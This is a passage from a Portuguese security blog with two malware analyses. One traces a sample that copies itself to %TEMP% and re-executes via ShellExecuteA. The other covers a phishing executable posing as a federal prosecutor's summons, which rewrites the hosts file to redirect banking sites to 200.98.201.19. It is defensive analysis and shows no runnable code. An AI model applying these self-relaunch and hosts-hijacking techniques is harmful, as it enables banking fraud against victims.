<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiw5ilaqdq1IztCII83SFJ2MYMrjOiLXAJ1G6sRqsv6y7L6Xt1sM-OjPdBY_PgKey9DvwaczQ6iw4crkCrgtC8UDPWkn5wJuahb9NG3tfmS3VW_tmO1VnKlAEBLevCDzRA4WoOXHPwXC28/s1600/08-assembly-block2.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiw5ilaqdq1IztCII83SFJ2MYMrjOiLXAJ1G6sRqsv6y7L6Xt1sM-OjPdBY_PgKey9DvwaczQ6iw4crkCrgtC8UDPWkn5wJuahb9NG3tfmS3VW_tmO1VnKlAEBLevCDzRA4WoOXHPwXC28/s1600/08-assembly-block2.jpg" /></a></div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
Como a
<b>GetToken</b> retornou 1, a execução prosseguirá para a chamada
da <b>FilePathInfo</b> novamente. Como sabemos ela verifica se o
executável está dentro do TEMP e retorna 0 caso não esteja, que é
o valor retornado aqui.</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
O Jump
redirecionará para o bloco de código “ExecFile”. Esse por sua
vez chama a função rotulada por mim como <b>ExecuteFile</b>.
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
<b>Preparação
para a 2ª Execução</b></div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
A função
<b>ExecuteFile</b> possui diferentes caminhos com diferentes
validações, vamos passar pelas instruções mais interessantes.</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
Pouco
depois de armazenar espaço na pilha para as variáveis locais, a
função chama a <b>FilePathInfo</b> para testar se o executável
está no TEMP. Não estando lá é feito um jump para o bloco de
código que denominei “NotInTEMP”. Abaixo seguem as instruções
desse bloco.</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh0TLX42nsSQgP-DQK_BWJcFGWMzKQp0hAEpM9iHcQx1Zgxk3eXV6GQmaEot4FAAZ5a2OS_BLL5IBmZQFxo6aGfIX1sip0mZyvevOpqFcwXGMbbOTTc6BFv43cEdUfDw04z37-N4aIcqQ0/s1600/09-notintemp.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh0TLX42nsSQgP-DQK_BWJcFGWMzKQp0hAEpM9iHcQx1Zgxk3eXV6GQmaEot4FAAZ5a2OS_BLL5IBmZQFxo6aGfIX1sip0mZyvevOpqFcwXGMbbOTTc6BFv43cEdUfDw04z37-N4aIcqQ0/s1600/09-notintemp.jpg" /></a></div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
Pelo nome
que coloquei nas funções já dá pra ter uma ideia do que elas
fazem. A <b>GetTEMPVar</b> busca o caminho do diretório %TEMP%,
<b>ReturnPath</b> busca o caminho completo do executável,
<b>ReturnFileName</b> retorna somente o nome do arquivo,
<b>RemoveExtension</b> retira do nome do arquivo a extensão, o
“.exe” (poderia ser ponto qualquer coisa).</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
Depois é
utilizada uma string criptografada que equivale a “.exe”. Por
fim, é chamada a função <b>MakeNewPath</b> que faz a concatenação
de tudo:</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
%TEMP% +
FileName + “.exe”</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
E em
seguida a <b>GetNewPath</b> retorna esse caminho:</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
C:\DOCUME~1\ADMINI~1\CONFIG~1\Temp\Declaracao
2011.exe</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
Após
construir o caminho é hora de salvar o arquivo em disco, isto é,
fazer uma cópia do arquivo no diretório TEMP. A função que faz
isso está logo abaixo, chamada de <b>WriteMZFile</b>.</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhi551TdeeBUol9jATn7AbK4mnPx6c7V9lgtKSppqvlTk637C2ihI8sUBcR9hCTGvxT49gHiB8U_Ruz6RGB5H1yPCTt6-SZZqnGm5uaVMi7epaUcXSLKcCkzsNKBOjDGAlFcbz-qMhRFLQ/s1600/10-writefile.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhi551TdeeBUol9jATn7AbK4mnPx6c7V9lgtKSppqvlTk637C2ihI8sUBcR9hCTGvxT49gHiB8U_Ruz6RGB5H1yPCTt6-SZZqnGm5uaVMi7epaUcXSLKcCkzsNKBOjDGAlFcbz-qMhRFLQ/s1600/10-writefile.jpg" /></a></div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
Após
salvar em disco há uma chamada para a função <b>GetOSVersion</b>,
ela é responsável por verificar a versão do Windows, não sei
dizer se essa verificação foi adicionada pelo programador ou pelo
próprio compilador, o código dela está a seguir.</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjA-uOLJiPWg-knrPzNux-cujgPUbFjxO8FBwchhPsOjSoNuQeBrg0EJU_Fgy2ter8B-ZhMzuVieS907kAJWQPWw0C9HMlIK359MNjLYe08affprkwQsjmIM-BDNUORwFF8CP2J4sAnoU4/s1600/11-getosversion.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjA-uOLJiPWg-knrPzNux-cujgPUbFjxO8FBwchhPsOjSoNuQeBrg0EJU_Fgy2ter8B-ZhMzuVieS907kAJWQPWw0C9HMlIK359MNjLYe08affprkwQsjmIM-BDNUORwFF8CP2J4sAnoU4/s1600/11-getosversion.jpg" /></a></div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
A função
<b>GetVersionExW</b> da API do Windows tem a seguinte definição:</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
“<i>Retrieves
information about the current operating system. If the function
succeeds, the return value is a nonzero value. If the function fails,
the return value is zero.</i>”</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
Como
parâmetro a função recebe uma estrutura de dados chamada de
<b>VersionInformation</b> que receberá as informações do sistema
operacional caso tenha sucesso. Essa estrutura possui o campo
<b>dwMajorVersion</b> que é o versão numérica principal do SO. Na
<a href="http://msdn.microsoft.com/en-us/library/windows/desktop/ms724833%28v=vs.85%29.aspx">MSDN
há uma tabela</a> com os nomes e versões possíveis para esse
campo.</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
Basicamente,
a versão será:</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
6 –
para Windows 7, Server 2008 e Vista.</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
5 –
para Windows 2000, XP, Server 2003.</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
Vemos no
código que há uma comparação com o 6 que determinará o valor do
EAX (AL). Se a versão for 6 o AL (EAX) receberá 1, caso contrário
receberá 0 (xor eax, eax).</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
E o EAX
será o retorno da <b>GetOSVersion</b><span style="font-weight: normal;">,
que após a chamada da função é utilizado em um “test”. No meu
caso, como estou utilizando o Windows XP, a versão retornada foi a 5
e consequentemente o EAX recebeu 0.</span></div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
<span style="font-weight: normal;">No
“test al, al” fui redirecionado pelo “JZ” para o bloco de
código “loc_4BC2D3”.</span></div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEianfk6gSJbDuSUh80-kFGz7pap51mjMRmI4cVbS6oYr9lDZ0ZbDUKv7n7KeeUPyDeJMaapFOqvTQDR9WXUS523sCE8knSmy8cmTW6AxLGlbJWGlathBmrv0X6ZoDzni3R3w4zHvp05QvI/s1600/12-loc_4BC2D3.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEianfk6gSJbDuSUh80-kFGz7pap51mjMRmI4cVbS6oYr9lDZ0ZbDUKv7n7KeeUPyDeJMaapFOqvTQDR9WXUS523sCE8knSmy8cmTW6AxLGlbJWGlathBmrv0X6ZoDzni3R3w4zHvp05QvI/s1600/12-loc_4BC2D3.jpg" /></a></div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
<span style="font-weight: normal;"><br /></span></div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
<span style="font-weight: normal;">Vemos
no código o uso de uma string criptografada que em texto simples
equivale a “open”. E depois é obtido o novo caminho do arquivo
através da </span><b>GetNewPath</b><span style="font-weight: normal;">.
</span>
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
<span style="font-weight: normal;">Enfim
vamos chegar na segunda execução do malware. Isso é feito com a
função </span><b>ShellExecuteA</b><span style="font-weight: normal;">.
Essa função executa uma operação e um arquivo específico e
possui 6 parâmetros:</span></div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
<span style="font-weight: normal;">HINSTANCE
</span><b>ShellExecute</b><span style="font-weight: normal;">(</span></div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
<span style="font-weight: normal;">__in_opt HWND hwnd,</span></div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
<span style="font-weight: normal;">__in_opt LPCTSTR lpOperation,</span></div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
<span style="font-weight: normal;">__in
LPCTSTR lpFile,</span></div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
<span style="font-weight: normal;">__in_opt LPCTSTR lpParameters,</span></div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
<span style="font-weight: normal;">__in_opt LPCTSTR lpDirectory,</span></div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
<span style="font-weight: normal;">__in
INT nShowCmd</span></div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
<span style="font-weight: normal;">);</span></div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
<span style="font-weight: normal;">Os
mais interessantes para nós são o </span><b>lpOperation</b><span style="font-weight: normal;">
(qual operação vai ser executada no arquivo), </span><b>lpFile</b><span style="font-weight: normal;">
(o arquivo utilizado) e </span><b>lpParameters</b><span style="font-weight: normal;">
(parâmetros passado para o arquivo, como em linha de comando). Para
saber mais sobre a função <a href="http://msdn.microsoft.com/en-us/library/windows/desktop/bb762153%28v=vs.85%29.aspx">consulte
a MSDN</a>. </span>
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
<span style="font-weight: normal;">No
código a seguir vemos a chamada da função com a passagem de
parâmetros através do 6 PUSHs.</span></div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgVmS5kqj00FmFA0r_3PCZBP7gcVuOrurmgfKzBTkey_GvBPFEuGDy0MtBRmLZKzBRXZCLKx2U-SV0KeIE_NMgyKeNjNFWTWe2EOEA9LreMktjs_ChibR_kFOSS2UCVMui5aV0Q_wGxRg0/s1600/13-shellexecutea.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgVmS5kqj00FmFA0r_3PCZBP7gcVuOrurmgfKzBTkey_GvBPFEuGDy0MtBRmLZKzBRXZCLKx2U-SV0KeIE_NMgyKeNjNFWTWe2EOEA9LreMktjs_ChibR_kFOSS2UCVMui5aV0Q_wGxRg0/s1600/13-shellexecutea.jpg" /></a></div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
<span style="font-weight: normal;"><br /></span></div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
<span style="font-weight: normal;">Com
o OllyDbg conseguimos ver a chamada da função, e como é possível
imaginar, com os parâmetros ela ficará assim:</span></div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3gvnajwK6jXQOuzCsu0ggh8y1sFfR_PwiIDwiyXXbjhRakCe1sB1ae6A-TuTRSpat1WW4TJWkRdQzqVNgC4BOTHzEF9-foTRqUXG_IvCW1nMAlq5ClYiDTrSCMVqB7J6CwLE0OFBzRkg/s1600/14-shellexecutea.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3gvnajwK6jXQOuzCsu0ggh8y1sFfR_PwiIDwiyXXbjhRakCe1sB1ae6A-TuTRSpat1WW4TJWkRdQzqVNgC4BOTHzEF9-foTRqUXG_IvCW1nMAlq5ClYiDTrSCMVqB7J6CwLE0OFBzRkg/s1600/14-shellexecutea.jpg" /></a></div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
<span style="font-weight: normal;"><br /></span></div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
Isso vai
abrir (executar) o arquivo recém-criado no TEMP. Trata-se do mesmo
arquivo, mesmo MD5. Lembro que todo esse código está dentro da
<b>ExecuteFile</b>. Após o retorno dessa função, o processo
original (Main Code) é finalizado.</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
<b>Algumas
considerações</b></div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
Vimos que
em determinados trechos do código há a verificação se o arquivo
está no TEMP ou não, por causa disso nessa segunda execução o
malware percorrerá caminhos diferentes, o que fará com que ele
execute outras funções.</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
Outro
ponto a ser observado, imaginemos que estamos analisando o malware
com o debugger, linha a linha. O que acontecerá quando chegar na
função <b>ShellExecute</b> e dermos um step over? O malware será
executado sem que possamos debugá-lo já que será criado um novo
processo.
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
Por isso,
é importante entendermos seu funcionamento. Agora que sabemos o que
ele fez, se quisermos debugar essa segunda execução é só abrir o
executável a partir do TEMP.</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
Normalmente
não precisamos fazer uma análise detalhada assim, basta sabermos o
que o malware faz, mas quanto maior o conhecimento do baixo-nível
mais fácil será para obter o alto-nível.</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
<span style="font-size: small;">Creditos: Ronaldo P. Lima ( http://www.crimesciberneticos.com/ )</span> </div>
</div>
Jeferson de Oliveirahttp://www.blogger.com/profile/07519935423439055893noreply@blogger.com3tag:blogger.com,1999:blog-5153298879843594867.post-56553578758206831022013-01-02T06:53:00.000-08:002013-01-02T06:54:45.001-08:00Análise do Malware Intimação-MPF<div dir="ltr" style="text-align: left;" trbidi="on">
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
Já está
circulando há um tempo mensagens de phishing que utilizam o nome do
Ministério Público Federal e do Departamento de Polícia Federal falando
de uma suposta intimação para comparecer em uma audiência. Hoje recebi
mais uma desse tipo e resolvi analisar, vamos ver o que conseguimos.</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjcemzDsRoK2pDvfeFnaSf5oTAgOzKlXofms59FHaZaSfKStQmnSEXs29moh_67FT9qGgo2N022Yft8mvwBRVF57-gwcvQ6Beka1bAJ7_M2xB07BOM1r7HN55mb2Rf1th3uv7pGykFeMfI/s1600/00-phishing-MPF.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjcemzDsRoK2pDvfeFnaSf5oTAgOzKlXofms59FHaZaSfKStQmnSEXs29moh_67FT9qGgo2N022Yft8mvwBRVF57-gwcvQ6Beka1bAJ7_M2xB07BOM1r7HN55mb2Rf1th3uv7pGykFeMfI/s1600/00-phishing-MPF.jpg" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
<b>Identificação do Artefato</b></div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
<br /></div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
Ao clicar no link do e-mail foi feito o download do arquivo:</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
<br /></div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
<b>INTIMACAO-MPF.SCR.exe</b> (MD5: 3168711d7cb3a7a7c1a037dfaa8a66a9)</div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
<br /></div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
O executável não possuia compactador e a linguagem de programação identificada foi <span style="font-weight: normal;">Microsoft Visual Basic 5.0 / 6.0, assim o caminho estava livre para prosseguir.</span></div>
<div align="JUSTIFY" class="western" style="font-weight: normal; margin-bottom: 0cm;">
<br /></div>
<div align="JUSTIFY" class="western" style="font-style: normal; margin-bottom: 0cm;">
<b>Análise Estática</b></div>
<div align="JUSTIFY" class="western" style="font-weight: normal; margin-bottom: 0cm;">
<br /></div>
<div align="JUSTIFY" class="western" style="font-weight: normal; margin-bottom: 0cm;">
Ao abrir no IDA Pro e buscar pelas strings ficou fácil descobrir as intenções do artefato malicioso.</div>
<div align="JUSTIFY" class="western" style="font-weight: normal; margin-bottom: 0cm;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgdBIGUTaaznSj4TXUgsOWTp-DH-QgsiKSmLGJhrUL57f-HmEOjuLnctN479keSGRmVOFCi6Dy1u1p1AVyHuz3g7u7FK44-3XXVEFx7P5GFjSqJMopExoCVciyteLIHc9pE4YeLoqP6aEA/s1600/01-malware-strings.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgdBIGUTaaznSj4TXUgsOWTp-DH-QgsiKSmLGJhrUL57f-HmEOjuLnctN479keSGRmVOFCi6Dy1u1p1AVyHuz3g7u7FK44-3XXVEFx7P5GFjSqJMopExoCVciyteLIHc9pE4YeLoqP6aEA/s1600/01-malware-strings.jpg" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLrB23J62kZlvxKyOW8Qt-iPPPrfQdodxNPasMvUXgZpwvkBOH2Ih46MuHEIiCz5K0BhvqVIPK2CSNcwYlybiXp5ZNSqYuOUeTm9UQQomoVkNgv7onfbXZCtZz4rYsjreF4Cr14UONHng/s1600/02-malware-strings.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLrB23J62kZlvxKyOW8Qt-iPPPrfQdodxNPasMvUXgZpwvkBOH2Ih46MuHEIiCz5K0BhvqVIPK2CSNcwYlybiXp5ZNSqYuOUeTm9UQQomoVkNgv7onfbXZCtZz4rYsjreF4Cr14UONHng/s1600/02-malware-strings.jpg" /></a></div>
<div align="JUSTIFY" class="western" style="font-weight: normal; margin-bottom: 0cm;">
<br /></div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
<span style="font-weight: normal;">Vemos um </span><b>endereço IP</b><span style="font-weight: normal;">, </span><b>várias URLs de bancos</b><span style="font-weight: normal;">, referência ao </span><b>arquivo hosts</b><span style="font-weight: normal;"> do Windows e por fim </span><b>uma URL</b><span style="font-weight: normal;">.
Só por isso já conseguimos imaginar o que o malware faz: insere
entradas no arquivo hosts para redirecionar para um site falso o acesso a
sites bancários. </span> </div>
<div align="JUSTIFY" class="western" style="font-weight: normal; margin-bottom: 0cm;">
<br /></div>
<div align="JUSTIFY" class="western" style="font-weight: normal; margin-bottom: 0cm;">
Por
fim deve acessar a URL final para “avisar” que mais um caiu no golpe,
isso é bem comum e manjado. A análise dinâmica do artefato pode provar a
nossa teoria. </div>
<div align="JUSTIFY" class="western" style="font-weight: normal; margin-bottom: 0cm;">
<br /></div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
<b>Análise Dinâmica</b></div>
<div align="JUSTIFY" class="western" style="font-weight: normal; margin-bottom: 0cm;">
<br /></div>
<div align="JUSTIFY" class="western" style="font-weight: normal; margin-bottom: 0cm;">
O
Regshot e o ProcessMonitor podem nos ajudar com isso, executei o
malware com as duas ferramentas abertas e obtive os seguintes
resultados.</div>
<div align="JUSTIFY" class="western" style="font-weight: normal; margin-bottom: 0cm;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFLxTFbBRiFoaHYxowrYiK7jREVQRqqxOt13DOt1Z57PBCp8pyecjAkgM2zZ0HYCpsIvFdvzXzK8MaYgFvu_bSeLBDmwne8JW65IMiPSuLWxMhLw0SiFCWWoKxpRmXP64PTd60bhOiq5U/s1600/03-regshot-hosts.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFLxTFbBRiFoaHYxowrYiK7jREVQRqqxOt13DOt1Z57PBCp8pyecjAkgM2zZ0HYCpsIvFdvzXzK8MaYgFvu_bSeLBDmwne8JW65IMiPSuLWxMhLw0SiFCWWoKxpRmXP64PTd60bhOiq5U/s1600/03-regshot-hosts.jpg" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-N-a_SpHAnvM/TmUqkufaLWI/AAAAAAAAAIY/B9Ce_koXI28/s1600/03-regshot-hosts.jpg" style="margin-left: 1em; margin-right: 1em;"><br />
</a></div>
<div align="JUSTIFY" class="western" style="font-weight: normal; margin-bottom: 0cm;">
Regshot: arquivos modificados na execução.</div>
<div align="JUSTIFY" class="western" style="font-weight: normal; margin-bottom: 0cm;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlBfQ-vXFIWeLFxMhsak47q7oD_okA3mwKl3xMVD4DvaXWx56R0-anHEgM0kpiHQvHe9GhRwOfzKeABt2MrVrPDGHGvIhWUT5uIYBLCQkDTCFW95oEkj2y6MaajmlfGdrroNqII2CNiYc/s1600/04-processmonitor-hosts.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlBfQ-vXFIWeLFxMhsak47q7oD_okA3mwKl3xMVD4DvaXWx56R0-anHEgM0kpiHQvHe9GhRwOfzKeABt2MrVrPDGHGvIhWUT5uIYBLCQkDTCFW95oEkj2y6MaajmlfGdrroNqII2CNiYc/s1600/04-processmonitor-hosts.jpg" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-ZT01ErG4-tg/TmUqk7fZv5I/AAAAAAAAAIc/WbGp59_ZFCw/s1600/04-processmonitor-hosts.jpg" style="margin-left: 1em; margin-right: 1em;"><br />
</a></div>
<div align="JUSTIFY" class="western" style="font-weight: normal; margin-bottom: 0cm;">
Process Monitor: processo do malware escrevendo no arquivo hosts.</div>
<div align="JUSTIFY" class="western" style="font-weight: normal; margin-bottom: 0cm;">
<br /></div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
<span style="font-weight: normal;">No final da execução o malware automaticamente abriu o Internet Explorer com o site de cartões virtuais <a href="http://www.viacards.com.br/">www.viacards.com.br</a> (!).</span></div>
<div align="JUSTIFY" class="western" style="font-weight: normal; margin-bottom: 0cm;">
<br /></div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
<span style="font-weight: normal;">Verficando o </span><b>C:\Windows\system32\drivers\etc\hosts</b><span style="font-weight: normal;"> lá estavam as modificações.</span></div>
<div align="JUSTIFY" class="western" style="font-weight: normal; margin-bottom: 0cm;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi-sggx8_FfB5FsZbNpnrRRq3SaZgKzfah3S7HWt1QKnkDK2F6dOuuUZhInkw_deHOx1Ob6iYMaxUejtliiQVAO742RFtozHPy9l0IPjS7gK9SRxEOVGMt_2kYG38QDnjGmfSjS20eKdMk/s1600/05-hosts.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi-sggx8_FfB5FsZbNpnrRRq3SaZgKzfah3S7HWt1QKnkDK2F6dOuuUZhInkw_deHOx1Ob6iYMaxUejtliiQVAO742RFtozHPy9l0IPjS7gK9SRxEOVGMt_2kYG38QDnjGmfSjS20eKdMk/s1600/05-hosts.jpg" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-heZ1eGPgRBM/TmUql1T2vSI/AAAAAAAAAIg/_x7HWp2LZc4/s1600/05-hosts.jpg" style="margin-left: 1em; margin-right: 1em;"><br />
</a></div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
<span style="font-weight: normal;">Quando acessei o IP </span><b>200.98.201.19 </b><span style="font-weight: normal;">não havia nenhuma página configurada mas buscando o endereço no Google encontrei o site </span><b>Offensive IP Database</b><span style="font-weight: normal;"> dizendo que esse IP </span><a href="http://www.bizimbal.com/odb/details.html?id=1063587">já estava envolvido em atividades maliciosas</a><span style="font-weight: normal;">.</span></div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnh6vH1eITG-ljCdb7YL8fn5LY4CbwZzuc8NJYTpRbcDMIsPk6rl-jSoKSIzjLsogsNJNQg9GFurP8frdY60ZE2A_Gxb6yjfWDeZjXd6XPIXAXZ-B02C4PdbJyMIx6ySWWz3O2jFe2Gng/s1600/11-offensive-IP.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnh6vH1eITG-ljCdb7YL8fn5LY4CbwZzuc8NJYTpRbcDMIsPk6rl-jSoKSIzjLsogsNJNQg9GFurP8frdY60ZE2A_Gxb6yjfWDeZjXd6XPIXAXZ-B02C4PdbJyMIx6ySWWz3O2jFe2Gng/s1600/11-offensive-IP.jpg" /></a></div>
<div align="JUSTIFY" class="western" style="font-weight: normal; margin-bottom: 0cm;">
<br /></div>
<div align="JUSTIFY" class="western" style="margin-bottom: 0cm;">
<b>Análise Web</b></div>
<div align="JUSTIFY" class="western" style="font-weight: normal; margin-bottom: 0cm;">
<br /></div>
<div align="JUSTIFY" class="western" style="font-weight: normal; margin-bottom: 0cm;">
